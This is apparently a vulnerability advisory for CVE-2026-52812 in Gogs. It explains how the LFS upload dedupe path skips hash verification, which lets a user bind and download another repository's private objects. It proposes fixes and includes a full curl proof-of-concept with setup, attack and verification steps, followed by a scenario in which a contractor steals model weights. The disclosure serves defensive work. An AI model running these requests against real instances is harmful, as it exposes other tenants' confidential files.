CVE-2026-52812: Gogs LFS: cross-tenant object disclosure via dedupe bypass

Summary Git LFS storage is content-addressed by OID alone (`<LFS-root>/<oid[0]>/<oid[1]>/<oid>`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. Details Dedupe shortcut at `internal/lfsx/storage.go:79-82`: ```go if fi, err := os.Stat(fpath); err == nil { _, _ = io.Copy(io.Discard, rc) return fi.Size(), nil // ← returns success with no hash check } ``` Hash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier. `serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding: ```go _, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo if err == nil { /* already linked, drain & return 200 */ } written, err := s.Upload(oid, c.Req.Request.Body) err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage()) ``` `CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history. `serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file. Suggested fix 1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. 2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs. PoC Tested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic). ### Reproduction prerequisites - Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`. - Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`. - An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit). ### Setup (testbed simulation of the victim's prior state) ```sh GOGS=https://gogs.example ALICE_AUTH='-u alice:alice_password' BOB_AUTH='-u bob:bob_password' VICTIM_BYTES='victim secret content' OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1) SIZE=$(printf %s "$VICTIM_BYTES" | wc -c) # After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID> # and (alice/secrets, OID) row exists in lfs_object. printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \ -H 'Content-Type: application/octet-stream' \ -X PUT --data-binary @- \ "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID" ``` ### Attack — bob has only `$OID`, not `$VICTIM_BYTES` ```sh unset VICTIM_BYTES # attacker has no idea what the file contains # 1. Confirm bob has no claim on $OID. curl -sS $BOB_AUTH \ -H 'Accept: application/vnd.git-lfs+json' \ -H 'Content-Type: application/vnd.git-lfs+json' \ -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \ --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}" # → "actions":{"error":{"code":404,"message":"Object does not exist"}} # 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists # so LocalStorage.Upload takes the dedupe shortcut: drains the body # without hashing, returns alice's size; CreateLFSObject inserts (bob, OID). curl -sS $BOB_AUTH \ -H 'Content-Type: application/octet-stream' \ -X PUT --data-binary 'irrelevant attacker-controlled bytes' \ "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" # → HTTP/1.1 200 OK # 3. Download via bob's repo — gogs streams alice's bytes. curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked cat /tmp/leaked # → victim secret content sha256sum /tmp/leaked | cut -d' ' -f1 # → matches $OID exactly ``` ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row ``` Impact - **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation. - LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte. - Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

A contractor at a shared enterprise Gogs instance has write access to a scratch repository but no visibility into the ML research team's private model repository. The contractor spots an LFS pointer file (`oid sha256:<hash>`) in a public PR branch that was accidentally committed before being cleaned up. Armed with the SHA-256 OID, the contractor sends a single PUT request to their own repo's LFS basic-transfer endpoint with the target OID in the URL path and irrelevant bytes as the body. Gogs's `LocalStorage.Upload` detects that the on-disk file already exists (uploaded previously by the research team), drains the garbage body without hashing it, and returns success. `serveUpload` trusts this result and calls `CreateLFSObject(contractor_repo, OID)`. The contractor immediately issues a GET to their own repo's download endpoint and receives the research team's model weights in full. The research team has no indication of the breach — no notification, no access log entry on their repo, no change to their LFS objects. The contractor's read access persists until an administrator manually identifies and deletes the rogue database row.